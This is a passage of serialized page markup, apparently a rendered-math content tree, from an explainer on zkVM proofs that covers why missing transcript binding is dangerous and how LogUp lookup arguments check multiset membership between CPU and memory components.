,[119600,119604],{"type":24,"tag":271,"props":119601,"children":119603},{"className":119602,"style":119008},[11771],[],{"type":24,"tag":271,"props":119605,"children":119607},{"className":119606,"style":119096},[119026],[119608],{"type":24,"tag":271,"props":119609,"children":119611},{"className":119610,"style":119102},[119101],[119612],{"type":24,"tag":41942,"props":119613,"children":119614},{"xmlns":119106,"width":119107,"height":119108,"style":119109,"viewBox":119110,"preserveAspectRatio":119111},[119615],{"type":24,"tag":119114,"props":119616,"children":119617},{"d":119116},[],{"type":29,"value":119619},", the coefficients ",{"type":24,"tag":135,"props":119621,"children":119623},{"className":119622},[11705,11706],[119624],{"type":24,"tag":271,"props":119625,"children":119627},{"className":119626},[11711],[119628],{"type":24,"tag":271,"props":119629,"children":119631},{"className":119630,"ariaHidden":5670},[11716],[119632],{"type":24,"tag":271,"props":119633,"children":119635},{"className":119634},[11721],[119636,119640,119649,119654,119703,119708,119712,119761],{"type":24,"tag":271,"props":119637,"children":119639},{"className":119638,"style":119415},[11726],[],{"type":24,"tag":271,"props":119641,"children":119643},{"className":119642},[11732,29],[119644],{"type":24,"tag":271,"props":119645,"children":119647},{"className":119646},[11732],[119648],{"type":29,"value":119426},{"type":24,"tag":271,"props":119650,"children":119652},{"className":119651},[29402],[119653],{"type":29,"value":606},{"type":24,"tag":271,"props":119655,"children":119657},{"className":119656},[11732,118986],[119658],{"type":24,"tag":271,"props":119659,"children":119661},{"className":119660},[11752],[119662],{"type":24,"tag":271,"props":119663,"children":119665},{"className":119664},[11757],[119666],{"type":24,"tag":271,"props":119667,"children":119669},{"className":119668,"style":119202},[11762],[119670,119682],{"type":24,"tag":271,"props":119671,"children":119672},{"style":119003},[119673,119677],{"type":24,"tag":271,"props":119674,"children":119676},{"className":119675,"style":119008},[11771],[],{"type":24,"tag":271,"props":119678,"children":119680},{"className":119679},[11732,29273],[119681],{"type":29,"value":10954},{"type":24,"tag":271,"props":119683,"children":119684},{"style":119370},[119685,119689],{"type":24,"tag":271,"props":119686,"children":119688},{"className":119687,"style":119008},[11771],[],{"type":24,"tag":271,"props":119690,"children":119692},{"className":119691,"style":119229},[119026],[119693],{"type":24,"tag":271,"props":119694,"children":119696},{"className":119695,"style":119102},[119101],[119697],{"type":24,"tag":41942,"props":119698,"children":119699},{"xmlns":119106,"width":119107,"height":119108,"style":119109,"viewBox":119110,"preserveAspectRatio":119111},[119700],{"type":24,"tag":119114,"props":119701,"children":119702},{"d":119116},[],{"type":24,"tag":271,"props":119704,"children":119706},{"className":119705},[11842],[119707],{"type":29,"value":11845},{"type":24,"tag":271,"props":119709,"children":119711},{"className":119710,"style":11849},[11810],[],{"type":24,"tag":271,"props":119713,"children":119715},{"className":119714},[11732,118986],[119716],{"type":24,"tag":271,"props":119717,"children":119719},{"className":119718},[11752],[119720],{"type":24,"tag":271,"props":119721,"children":119723},{"className":119722},[11757],[119724],{"type":24,"tag":271,"props":119725,"children":119727},{"className":119726,"style":119072},[11762],[119728,119740],{"type":24,"tag":271,"props":119729,"children":119730},{"style":119003},[119731,119735],{"type":24,"tag":271,"props":119732,"children":119734},{"className":119733,"style":119008},[11771],[],{"type":24,"tag":271,"props":119736,"children":119738},{"className":119737,"style":99837},[11732,29273],[119739],{"type":29,"value":100656},{"type":24,"tag":271,"props":119741,"children":119742},{"style":119003},[119743,119747],{"type":24,"tag":271,"props":119744,"children":119746},{"className":119745,"style":119008},[11771],[],{"type":24,"tag":271,"props":119748,"children":119750},{"className":119749,"style":119096},[119026],[119751],{"type":24,"tag":271,"props":119752,"children":119754},{"className":119753,"style":119102},[119101],[119755],{"type":24,"tag":41942,"props":119756,"children":119757},{"xmlns":119106,"width":119107,"height":119108,"style":119109,"viewBox":119110,"preserveAspectRatio":119111},[119758],{"type":24,"tag":119114,"props":119759,"children":119760},{"d":119116},[],{"type":24,"tag":271,"props":119762,"children":119764},{"className":119763},[29424],[119765],{"type":29,"value":2693},{"type":29,"value":119767}," are constants, so ",{"type":24,"tag":135,"props":119769,"children":119771},{"className":119770},[11705,11706],[119772],{"type":24,"tag":271,"props":119773,"children":119775},{"className":119774},[11711],[119776],{"type":24,"tag":271,"props":119777,"children":119779},{"className":119778,"ariaHidden":5670},[11716],[119780],{"type":24,"tag":271,"props":119781,"children":119783},{"className":119782},[11721],[119784,119788,119848,119853,119902],{"type":24,"tag":271,"props":119785,"children":119787},{"className":119786,"style":118981},[11726],[],{"type":24,"tag":271,"props":119789,"children":119791},{"className":119790},[11732,118986],[119792],{"type":24,"tag":271,"props":119793,"children":119795},{"className":119794},[11752,29327],[119796,119837],{"type":24,"tag":271,"props":119797,"children":119799},{"className":119798},[11757],[119800,119832],{"type":24,"tag":271,"props":119801,"children":119803},{"className":119802,"style":118999},[11762],[119804,119816],{"type":24,"tag":271,"props":119805,"children":119806},{"style":119003},[119807,119811],{"type":24,"tag":271,"props":119808,"children":119810},{"className":119809,"style":119008},[11771],[],{"type":24,"tag":271,"props":119812,"children":119814},{"className":119813,"style":102191},[11732,29273],[119815],{"type":29,"value":791},{"type":24,"tag":271,"props":119817,"children":119818},{"style":119017},[119819,119823],{"type":24,"tag":271,"props":119820,"children":119822},{"className":119821,"style":119008},[11771],[],{"type":24,"tag":271,"props":119824,"children":119826},{"className":119825,"style":119027},[119026],[119827],{"type":24,"tag":271,"props":119828,"children":119830},{"className":119829},[11732],[119831],{"type":29,"value":119034},{"type":24,"tag":271,"props":119833,"children":119835},{"className":119834},[29430],[119836],{"type":29,"value":29433},{"type":24,"tag":271,"props":119838,"children":119840},{"className":119839},[11757],[119841],{"type":24,"tag":271,"props":119842,"children":119844},{"className":119843,"style":119047},[11762],[119845],{"type":24,"tag":271,"props":119846,"children":119847},{},[],{"type":24,"tag":271,"props":119849,"children":119851},{"className":119850},[29402],[119852],{"type":29,"value":606},{"type":24,"tag":271,"props":119854,"children":119856},{"className":119855},[11732,118986],[119857],{"type":24,"tag":271,"props":119858,"children":119860},{"className":119859},[11752],[119861],{"type":24,"tag":271,"props":119862,"children":119864},{"className":119863},[11757],[119865],{"type":24,"tag":271,"props":119866,"children":119868},{"className":119867,"style":119072},[11762],[119869,119881],{"type":24,"tag":271,"props":119870,"children":119871},{"style":119003},[119872,119876],{"type":24,"tag":271,"props":119873,"children":119875},{"className":119874,"style":119008},[11771],[],{"type":24,"tag":271,"props":119877,"children":119879},{"className":119878,"style":99837},[11732,29273],[119880],{"type":29,"value":100656},{"type":24,"tag":271,"props":119882,"children":119883},{"style":119003},[119884,119888],{"type":24,"tag":271,"props":119885,"children":119887},{"className":119886,"style":119008},[11771],[],{"type":24,"tag":271,"props":119889,"children":119891},{"className":119890,"style":119096},[119026],[119892],{"type":24,"tag":271,"props":119893,"children":119895},{"className":119894,"style":119102},[119101],[119896],{"type":24,"tag":41942,"props":119897,"children":119898},{"xmlns":119106,"width":119107,"height":119108,"style":119109,"viewBox":119110,"preserveAspectRatio":119111},[119899],{"type":24,"tag":119114,"props":119900,"children":119901},{"d":119116},[],{"type":24,"tag":271,"props":119903,"children":119905},{"className":119904},[29424],[119906],{"type":29,"value":2693},{"type":29,"value":119908}," is linear in the table values ",{"type":24,"tag":135,"props":119910,"children":119912},{"className":119911},[11705,11706],[119913],{"type":24,"tag":271,"props":119914,"children":119916},{"className":119915},[11711],[119917],{"type":24,"tag":271,"props":119918,"children":119920},{"className":119919,"ariaHidden":5670},[11716],[119921],{"type":24,"tag":271,"props":119922,"children":119924},{"className":119923},[11721],[119925,119929,119934,119939,119988],{"type":24,"tag":271,"props":119926,"children":119928},{"className":119927,"style":119415},[11726],[],{"type":24,"tag":271,"props":119930,"children":119932},{"className":119931,"style":102191},[11732,29273],[119933],{"type":29,"value":791},{"type":24,"tag":271,"props":119935,"children":119937},{"className":119936},[29402],[119938],{"type":29,"value":606},{"type":24,"tag":271,"props":119940,"children":119942},{"className":119941},[11732,118986],[119943],{"type":24,"tag":271,"props":119944,"children":119946},{"className":119945},[11752],[119947],{"type":24,"tag":271,"props":119948,"children":119950},{"className":119949},[11757],[119951],{"type":24,"tag":271,"props":119952,"children":119954},{"className":119953,"style":119202},[11762],[119955,119967],{"type":24,"tag":271,"props":119956,"children":119957},{"style":119003},[119958,119962],{"type":24,"tag":271,"props":119959,"children":119961},{"className":119960,"style":119008},[11771],[],{"type":24,"tag":271,"props":119963,"children":119965},{"className":119964},[11732,29273],[119966],{"type":29,"value":10954},{"type":24,"tag":271,"props":119968,"children":119969},{"style":119370},[119970,119974],{"type":24,"tag":271,"props":119971,"children":119973},{"className":119972,"style":119008},[11771],[],{"type":24,"tag":271,"props":119975,"children":119977},{"className":119976,"style":119229},[119026],[119978],{"type":24,"tag":271,"props":119979,"children":119981},{"className":119980,"style":119102},[119101],[119982],{"type":24,"tag":41942,"props":119983,"children":119984},{"xmlns":119106,"width":119107,"height":119108,"style":119109,"viewBox":119110,"preserveAspectRatio":119111},[119985],{"type":24,"tag":119114,"props":119986,"children":119987},{"d":119116},[],{"type":24,"tag":271,"props":119989,"children":119991},{"className":119990},[29424],[119992],{"type":29,"value":2693},{"type":29,"value":41},{"type":24,"tag":25,"props":119995,"children":119996},{},[119997,119999,120068],{"type":29,"value":119998},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":24,"tag":135,"props":120000,"children":120002},{"className":120001},[11705,11706],[120003],{"type":24,"tag":271,"props":120004,"children":120006},{"className":120005},[11711],[120007],{"type":24,"tag":271,"props":120008,"children":120010},{"className":120009,"ariaHidden":5670},[11716],[120011],{"type":24,"tag":271,"props":120012,"children":120014},{"className":120013},[11721],[120015,120019],{"type":24,"tag":271,"props":120016,"children":120018},{"className":120017,"style":119072},[11726],[],{"type":24,"tag":271,"props":120020,"children":120022},{"className":120021},[11732,118986],[120023],{"type":24,"tag":271,"props":120024,"children":120026},{"className":120025},[11752],[120027],{"type":24,"tag":271,"props":120028,"children":120030},{"className":120029},[11757],[120031],{"type":24,"tag":271,"props":120032,"children":120034},{"className":120033,"style":119072},[11762],[120035,120047],{"type":24,"tag":271,"props":120036,"children":120037},{"style":119003},[120038,120042],{"type":24,"tag":271,"props":120039,"children":120041},{"className":120040,"style":119008},[11771],[],{"type":24,"tag":271,"props":120043,"children":120045},{"className":120044,"style":99837},[11732,29273],[120046],{"type":29,"value":100656},{"type":24,"tag":271,"props":120048,"children":120049},{"style":119003},[120050,120054],{"type":24,"tag":271,"props":120051,"children":120053},{"className":120052,"style":119008},[11771],[],{"type":24,"tag":271,"props":120055,"children":120057},{"className":120056,"style":119096},[119026],[120058],{"type":24,"tag":271,"props":120059,"children":120061},{"className":120060,"style":119102},[119101],[120062],{"type":24,"tag":41942,"props":120063,"children":120064},{"xmlns":119106,"width":119107,"height":119108,"style":119109,"viewBox":119110,"preserveAspectRatio":119111},[120065],{"type":24,"tag":119114,"props":120066,"children":120067},{"d":119116},[],{"type":29,"value":120069}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":24,"tag":85,"props":120071,"children":120073},{"id":120072},"lookup-arguments-logup",[120074],{"type":29,"value":120075},"Lookup Arguments (LogUp)",{"type":24,"tag":25,"props":120077,"children":120078},{},[120079],{"type":29,"value":120080},"zkVMs need to check that values satisfy certain properties. For example:",{"type":24,"tag":97,"props":120082,"children":120083},{},[120084,120140,120145],{"type":24,"tag":101,"props":120085,"children":120086},{},[120087,120089,120139],{"type":29,"value":120088},"Is this byte in range ",{"type":24,"tag":135,"props":120090,"children":120092},{"className":120091},[11705,11706],[120093],{"type":24,"tag":271,"props":120094,"children":120096},{"className":120095},[11711],[120097],{"type":24,"tag":271,"props":120098,"children":120100},{"className":120099,"ariaHidden":5670},[11716],[120101],{"type":24,"tag":271,"props":120102,"children":120104},{"className":120103},[11721],[120105,120109,120114,120119,120124,120128,120134],{"type":24,"tag":271,"props":120106,"children":120108},{"className":120107,"style":11831},[11726],[],{"type":24,"tag":271,"props":120110,"children":120112},{"className":120111},[29402],[120113],{"type":29,"value":4520},{"type":24,"tag":271,"props":120115,"children":120117},{"className":120116},[11732],[120118],{"type":29,"value":4121},{"type":24,"tag":271,"props":120120,"children":120122},{"className":120121},[11842],[120123],{"type":29,"value":11845},{"type":24,"tag":271,"props":120125,"children":120127},{"className":120126,"style":11849},[11810],[],{"type":24,"tag":271,"props":120129,"children":120131},{"className":120130},[11732],[120132],{"type":29,"value":120133},"255",{"type":24,"tag":271,"props":120135,"children":120137},{"className":120136},[29424],[120138],{"type":29,"value":23108},{"type":29,"value":10887},{"type":24,"tag":101,"props":120141,"children":120142},{},[120143],{"type":29,"value":120144},"Does this opcode decode correctly?",{"type":24,"tag":101,"props":120146,"children":120147},{},[120148],{"type":29,"value":120149},"Is this memory access consistent with previous accesses?",{"type":24,"tag":25,"props":120151,"children":120152},{},[120153,120158],{"type":24,"tag":213,"props":120154,"children":120155},{},[120156],{"type":29,"value":120157},"The naive approach:",{"type":29,"value":120159}," Add constraints for each check. Expensive.",{"type":24,"tag":25,"props":120161,"children":120162},{},[120163,120168,120170,120175],{"type":24,"tag":213,"props":120164,"children":120165},{},[120166],{"type":29,"value":120167},"The clever approach:",{"type":29,"value":120169}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":24,"tag":213,"props":120171,"children":120172},{},[120173],{"type":29,"value":120174},"multiset membership",{"type":29,"value":74583},{"type":24,"tag":25,"props":120177,"children":120178},{},[120179,120184],{"type":24,"tag":213,"props":120180,"children":120181},{},[120182],{"type":29,"value":120183},"LogUp (Logarithmic Derivative):",{"type":29,"value":120185}," Encode multiset membership as a sum of fractions.",{"type":24,"tag":25,"props":120187,"children":120188},{},[120189,120191,120216,120218,120245],{"type":29,"value":120190},"If set ",{"type":24,"tag":135,"props":120192,"children":120194},{"className":120193},[11705,11706],[120195],{"type":24,"tag":271,"props":120196,"children":120198},{"className":120197},[11711],[120199],{"type":24,"tag":271,"props":120200,"children":120202},{"className":120201,"ariaHidden":5670},[11716],[120203],{"type":24,"tag":271,"props":120204,"children":120206},{"className":120205},[11721],[120207,120211],{"type":24,"tag":271,"props":120208,"children":120210},{"className":120209,"style":29268},[11726],[],{"type":24,"tag":271,"props":120212,"children":120214},{"className":120213},[11732,29273],[120215],{"type":29,"value":83557},{"type":29,"value":120217}," should equal set ",{"type":24,"tag":135,"props":120219,"children":120221},{"className":120220},[11705,11706],[120222],{"type":24,"tag":271,"props":120223,"children":120225},{"className":120224},[11711],[120226],{"type":24,"tag":271,"props":120227,"children":120229},{"className":120228,"ariaHidden":5670},[11716],[120230],{"type":24,"tag":271,"props":120231,"children":120233},{"className":120232},[11721],[120234,120238],{"type":24,"tag":271,"props":120235,"children":120237},{"className":120236,"style":29268},[11726],[],{"type":24,"tag":271,"props":120239,"children":120242},{"className":120240,"style":120241},[11732,29273],"margin-right:0.05017em;",[120243],{"type":29,"value":120244},"B",{"type":29,"value":120246}," as multisets:",{"type":24,"tag":25,"props":120248,"children":120249},{},[120250],{"type":24,"tag":135,"props":120251,"children":120253},{"className":120252},[11705,11706],[120254],{"type":24,"tag":271,"props":120255,"children":120257},{"className":120256},[11711],[120258],{"type":24,"tag":271,"props":120259,"children":120261},{"className":120260,"ariaHidden":5670},[11716],[120262,120477],{"type":24,"tag":271,"props":120263,"children":120265},{"className":120264},[11721],[120266,120271,120344,120348,120464,120468,120473],{"type":24,"tag":271,"props":120267,"children":120270},{"className":120268,"style":120269},[11726],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":24,"tag":271,"props":120272,"children":120274},{"className":120273},[29309],[120275,120280],{"type":24,"tag":271,"props":120276,"children":120278},{"className":120277,"style":29316},[29309,29314,29315],[120279],{"type":29,"value":115632},{"type":24,"tag":271,"props":120281,"children":120283},{"className":120282},[11747],[120284],{"type":24,"tag":271,"props":120285,"children":120287},{"className":120286},[11752,29327],[120288,120332],{"type":24,"tag":271,"props":120289,"children":120291},{"className":120290},[11757],[120292,120327],{"type":24,"tag":271,"props":120293,"children":120296},{"className":120294,"style":120295},[11762],"height:0.1786em;",[120297],{"type":24,"tag":271,"props":120298,"children":120299},{"style":29340},[120300,120304],{"type":24,"tag":271,"props":120301,"children":120303},{"className":120302,"style":11772},[11771],[],{"type":24,"tag":271,"props":120305,"children":120307},{"className":120306},[11777,11778,11779,11780],[120308],{"type":24,"tag":271,"props":120309,"children":120311},{"className":120310},[11732,11780],[120312,120317,120322],{"type":24,"tag":271,"props":120313,"children":120315},{"className":120314},[11732,29273,11780],[120316],{"type":29,"value":32},{"type":24,"tag":271,"props":120318,"children":120320},{"className":120319},[11913,11780],[120321],{"type":29,"value":29380},{"type":24,"tag":271,"props":120323,"children":120325},{"className":120324},[11732,29273,11780],[120326],{"type":29,"value":83557},{"type":24,"tag":271,"props":120328,"children":120330},{"className":120329},[29430],[120331],{"type":29,"value":29433},{"type":24,"tag":271,"props":120333,"children":120335},{"className":120334},[11757],[120336],{"type":24,"tag":271,"props":120337,"children":120340},{"className":120338,"style":120339},[11762],"height:0.3271em;",[120341],{"type":24,"tag":271,"props":120342,"children":120343},{},[],{"type":24,"tag":271,"props":120345,"children":120347},{"className":120346,"style":11849},[11810],[],{"type":24,"tag":271,"props":120349,"children":120351},{"className":120350},[11732],[120352,120357,120460],{"type":24,"tag":271,"props":120353,"children":120356},{"className":120354},[29402,120355],"nulldelimiter",[],{"type":24,"tag":271,"props":120358,"children":120361},{"className":120359},[120360],"mfrac",[120362],{"type":24,"tag":271,"props":120363,"children":120365},{"className":120364},[11752,29327],[120366,120448],{"type":24,"tag":271,"props":120367,"children":120369},{"className":120368},[11757],[120370,120443],{"type":24,"tag":271,"props":120371,"children":120374},{"className":120372,"style":120373},[11762],"height:0.8451em;",[120375,120408,120422],{"type":24,"tag":271,"props":120376,"children":120378},{"style":120377},"top:-2.655em;",[120379,120383],{"type":24,"tag":271,"props":120380,"children":120382},{"className":120381,"style":119008},[11771],[],{"type":24,"tag":271,"props":120384,"children":120386},{"className":120385},[11777,11778,11779,11780],[120387],{"type":24,"tag":271,"props":120388,"children":120390},{"className":120389},[11732,11780],[120391,120398,120403],{"type":24,"tag":271,"props":120392,"children":120395},{"className":120393,"style":120394},[11732,29273,11780],"margin-right:0.04398em;",[120396],{"type":29,"value":120397},"z",{"type":24,"tag":271,"props":120399,"children":120401},{"className":120400},[11816,11780],[120402],{"type":29,"value":11791},{"type":24,"tag":271,"props":120404,"children":120406},{"className":120405},[11732,29273,11780],[120407],{"type":29,"value":32},{"type":24,"tag":271,"props":120409,"children":120411},{"style":120410},"top:-3.23em;",[120412,120416],{"type":24,"tag":271,"props":120413,"children":120415},{"className":120414,"style":119008},[11771],[],{"type":24,"tag":271,"props":120417,"children":120421},{"className":120418,"style":120420},[120419],"frac-line","border-bottom-width:0.04em;",[],{"type":24,"tag":271,"props":120423,"children":120425},{"style":120424},"top:-3.394em;",[120426,120430],{"type":24,"tag":271,"props":120427,"children":120429},{"className":120428,"style":119008},[11771],[],{"type":24,"tag":271,"props":120431,"children":120433},{"className":120432},[11777,11778,11779,11780],[120434],{"type":24,"tag":271,"props":120435,"children":120437},{"className":120436},[11732,11780],[120438],{"type":24,"tag":271,"props":120439,"children":120441},{"className":120440},[11732,11780],[120442],{"type":29,"value":156},{"type":24,"tag":271,"props":120444,"children":120446},{"className":120445},[29430],[120447],{"type":29,"value":29433},{"type":24,"tag":271,"props":120449,"children":120451},{"className":120450},[11757],[120452],{"type":24,"tag":271,"props":120453,"children":120456},{"className":120454,"style":120455},[11762],"height:0.4033em;",[120457],{"type":24,"tag":271,"props":120458,"children":120459},{},[],{"type":24,"tag":271,"props":120461,"children":120463},{"className":120462},[29424,120355],[],{"type":24,"tag":271,"props":120465,"children":120467},{"className":120466,"style":11908},[11810],[],{"type":24,"tag":271,"props":120469,"children":120471},{"className":120470},[11913],[120472],{"type":29,"value":762},{"type":24,"tag":271,"props":120474,"children":120476},{"className":120475,"style":11908},[11810],[],{"type":24,"tag":271,"props":120478,"children":120480},{"className":120479},[11721],[120481,120485,120557,120561],{"type":24,"tag":271,"props":120482,"children":120484},{"className":120483,"style":120269},[11726],[],{"type":24,"tag":271,"props":120486,"children":120488},{"className":120487},[29309],[120489,120494],{"type":24,"tag":271,"props":120490,"children":120492},{"className":120491,"style":29316},[29309,29314,29315],[120493],{"type":29,"value":115632},{"type":24,"tag":271,"props":120495,"children":120497},{"className":120496},[11747],[120498],{"type":24,"tag":271,"props":120499,"children":120501},{"className":120500},[11752,29327],[120502,120546],{"type":24,"tag":271,"props":120503,"children":120505},{"className":120504},[11757],[120506,120541],{"type":24,"tag":271,"props":120507,"children":120510},{"className":120508,"style":120509},[11762],"height:0.1864em;",[120511],{"type":24,"tag":271,"props":120512,"children":120513},{"style":29340},[120514,120518],{"type":24,"tag":271,"props":120515,"children":120517},{"className":120516,"style":11772},[11771],[],{"type":24,"tag":271,"props":120519,"children":120521},{"className":120520},[11777,11778,11779,11780],[120522],{"type":24,"tag":271,"props":120523,"children":120525},{"className":120524},[11732,11780],[120526,120531,120536],{"type":24,"tag":271,"props":120527,"children":120529},{"className":120528},[11732,29273,11780],[120530],{"type":29,"value":10954},{"type":24,"tag":271,"props":120532,"children":120534},{"className":120533},[11913,11780],[120535],{"type":29,"value":29380},{"type":24,"tag":271,"props":120537,"children":120539},{"className":120538,"style":120241},[11732,29273,11780],[120540],{"type":29,"value":120244},{"type":24,"tag":271,"props":120542,"children":120544},{"className":120543},[29430],[120545],{"type":29,"value":29433},{"type":24,"tag":271,"props":120547,"children":120549},{"className":120548},[11757],[120550],{"type":24,"tag":271,"props":120551,"children":120553},{"className":120552,"style":120339},[11762],[120554],{"type":24,"tag":271,"props":120555,"children":120556},{},[],{"type":24,"tag":271,"props":120558,"children":120560},{"className":120559,"style":11849},[11810],[],{"type":24,"tag":271,"props":120562,"children":120564},{"className":120563},[11732],[120565,120569,120662],{"type":24,"tag":271,"props":120566,"children":120568},{"className":120567},[29402,120355],[],{"type":24,"tag":271,"props":120570,"children":120572},{"className":120571},[120360],[120573],{"type":24,"tag":271,"props":120574,"children":120576},{"className":120575},[11752,29327],[120577,120651],{"type":24,"tag":271,"props":120578,"children":120580},{"className":120579},[11757],[120581,120646],{"type":24,"tag":271,"props":120582,"children":120584},{"className":120583,"style":120373},[11762],[120585,120615,120626],{"type":24,"tag":271,"props":120586,"children":120587},{"style":120377},[120588,120592],{"type":24,"tag":271,"props":120589,"children":120591},{"className":120590,"style":119008},[11771],[],{"type":24,"tag":271,"props":120593,"children":120595},{"className":120594},[11777,11778,11779,11780],[120596],{"type":24,"tag":271,"props":120597,"children":120599},{"className":120598},[11732,11780],[120600,120605,120610],{"type":24,"tag":271,"props":120601,"children":120603},{"className":120602,"style":120394},[11732,29273,11780],[120604],{"type":29,"value":120397},{"type":24,"tag":271,"props":120606,"children":120608},{"className":120607},[11816,11780],[120609],{"type":29,"value":11791},{"type":24,"tag":271,"props":120611,"children":120613},{"className":120612},[11732,29273,11780],[120614],{"type":29,"value":10954},{"type":24,"tag":271,"props":120616,"children":120617},{"style":120410},[120618,120622],{"type":24,"tag":271,"props":120619,"children":120621},{"className":120620,"style":119008},[11771],[],{"type":24,"tag":271,"props":120623,"children":120625},{"className":120624,"style":120420},[120419],[],{"type":24,"tag":271,"props":120627,"children":120628},{"style":120424},[120629,120633],{"type":24,"tag":271,"props":120630,"children":120632},{"className":120631,"style":119008},[11771],[],{"type":24,"tag":271,"props":120634,"children":120636},{"className":120635},[11777,11778,11779,11780],[120637],{"type":24,"tag":271,"props":120638,"children":120640},{"className":120639},[11732,11780],[120641],{"type":24,"tag":271,"props":120642,"children":120644},{"className":120643},[11732,11780],[120645],{"type":29,"value":156},{"type":24,"tag":271,"props":120647,"children":120649},{"className":120648},[29430],[120650],{"type":29,"value":29433},{"type":24,"tag":271,"props":120652,"children":120654},{"className":120653},[11757],[120655],{"type":24,"tag":271,"props":120656,"children":120658},{"className":120657,"style":120455},[11762],[120659],{"type":24,"tag":271,"props":120660,"children":120661},{},[],{"type":24,"tag":271,"props":120663,"children":120665},{"className":120664},[29424,120355],[],{"type":24,"tag":25,"props":120667,"children":120668},{},[120669,120671,120696],{"type":29,"value":120670},"for random challenge ",{"type":24,"tag":135,"props":120672,"children":120674},{"className":120673},[11705,11706],[120675],{"type":24,"tag":271,"props":120676,"children":120678},{"className":120677},[11711],[120679],{"type":24,"tag":271,"props":120680,"children":120682},{"className":120681,"ariaHidden":5670},[11716],[120683],{"type":24,"tag":271,"props":120684,"children":120686},{"className":120685},[11721],[120687,120691],{"type":24,"tag":271,"props":120688,"children":120690},{"className":120689,"style":117678},[11726],[],{"type":24,"tag":271,"props":120692,"children":120694},{"className":120693,"style":120394},[11732,29273],[120695],{"type":29,"value":120397},{"type":29,"value":120697},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":24,"tag":25,"props":120699,"children":120700},{},[120701,120706],{"type":24,"tag":213,"props":120702,"children":120703},{},[120704],{"type":29,"value":120705},"In zkVMs:",{"type":29,"value":120707}," Different components emit and consume lookup tuples:",{"type":24,"tag":97,"props":120709,"children":120710},{},[120711,120798],{"type":24,"tag":101,"props":120712,"children":120713},{},[120714,120716,120742,120744,120769,120771,120797],{"type":29,"value":120715},"CPU emits: \"I read value ",{"type":24,"tag":135,"props":120717,"children":120719},{"className":120718},[11705,11706],[120720],{"type":24,"tag":271,"props":120721,"children":120723},{"className":120722},[11711],[120724],{"type":24,"tag":271,"props":120725,"children":120727},{"className":120726,"ariaHidden":5670},[11716],[120728],{"type":24,"tag":271,"props":120729,"children":120731},{"className":120730},[11721],[120732,120736],{"type":24,"tag":271,"props":120733,"children":120735},{"className":120734,"style":117678},[11726],[],{"type":24,"tag":271,"props":120737,"children":120739},{"className":120738,"style":100323},[11732,29273],[120740],{"type":29,"value":120741},"v",{"type":29,"value":120743}," from address ",{"type":24,"tag":135,"props":120745,"children":120747},{"className":120746},[11705,11706],[120748],{"type":24,"tag":271,"props":120749,"children":120751},{"className":120750},[11711],[120752],{"type":24,"tag":271,"props":120753,"children":120755},{"className":120754,"ariaHidden":5670},[11716],[120756],{"type":24,"tag":271,"props":120757,"children":120759},{"className":120758},[11721],[120760,120764],{"type":24,"tag":271,"props":120761,"children":120763},{"className":120762,"style":117678},[11726],[],{"type":24,"tag":271,"props":120765,"children":120767},{"className":120766},[11732,29273],[120768],{"type":29,"value":32},{"type":29,"value":120770}," at time ",{"type":24,"tag":135,"props":120772,"children":120774},{"className":120773},[11705,11706],[120775],{"type":24,"tag":271,"props":120776,"children":120778},{"className":120777},[11711],[120779],{"type":24,"tag":271,"props":120780,"children":120782},{"className":120781,"ariaHidden":5670},[11716],[120783],{"type":24,"tag":271,"props":120784,"children":120786},{"className":120785},[11721],[120787,120792],{"type":24,"tag":271,"props":120788,"children":120791},{"className":120789,"style":120790},[11726],"height:0.6151em;",[],{"type":24,"tag":271,"props":120793,"children":120795},{"className":120794},[11732,29273],[120796],{"type":29,"value":29415},{"type":29,"value":5702},{"type":24,"tag":101,"props":120799,"children":120800},{},[120801,120803,120828,120830,120855,120857,120882],{"type":29,"value":120802},"Memory table consumes: \"At time ",{"type":24,"tag":135,"props":120804,"children":120806},{"className":120805},[11705,11706],[120807],{"type":24,"tag":271,"props":120808,"children":120810},{"className":120809},[11711],[120811],{"type":24,"tag":271,"props":120812,"children":120814},{"className":120813,"ariaHidden":5670},[11716],[120815],{"type":24,"tag":271,"props":120816,"children":120818},{"className":120817},[11721],[120819,120823],{"type":24,"tag":271,"props":120820,"children":120822},{"className":120821,"style":120790},[11726],[],{"type":24,"tag":271,"props":120824,"children":120826},{"className":120825},[11732,29273],[120827],{"type":29,"value":29415},{"type":29,"value":120829},", address ",{"type":24,"tag":135,"props":120831,"children":120833},{"className":120832},[11705,11706],[120834],{"type":24,"tag":271,"props":120835,"children":120837},{"className":120836},[11711],[120838],{"type":24,"tag":271,"props":120839,"children":120841},{"className":120840,"ariaHidden":5670},[11716],[120842],{"type":24,"tag":271,"props":120843,"children":120845},{"className":120844},[11721],[120846,120850],{"type":24,"tag":271,"props":120847,"children":120849},{"className":120848,"style":117678},[11726],[],{"type":24,"tag":271,"props":120851,"children":120853},{"className":120852},[11732,29273],[120854],{"type":29,"value":32},{"type":29,"value":120856}," contained ",{"type":24,"tag":135,"props":120858,"children":120860},{"className":120859},[11705,11706],[120861],{"type":24,"tag":271,"props":120862,"children":120864},{"className":120863},[11711],[120865],{"type":24,"tag":271,"props":120866,"children":120868},{"className":120867,"ariaHidden":5670},[11716],[120869],{"type":24,"tag":271,"props":120870,"children":120872},{"className":120871},[11721],[120873,120877],{"type":24,"tag":271,"props":120874,"children":120876},{"className":120875,"style":117678},[11726],[],{"type":24,"tag":271,"props":120878,"children":120880},{"className":120879,"style":100323},[11732,29273],[120881],{"type":29,"value":120741},{"type":29,"value":5702},{"type":24,"tag":25,"props":120884,"children":120885},{},[120886],{"type":29,"value":120887},"If everything balances, the execution is consistent.",{"type":24,"tag":25,"props":120889,"children":120890},{},[120891,120896],{"type":24,"tag":213,"props":120892,"children":120893},{},[120894],{"type":29,"value":120895},"The claimed_sum:",{"type":29,"value":120897}," Each component computes its contribution to the LogUp 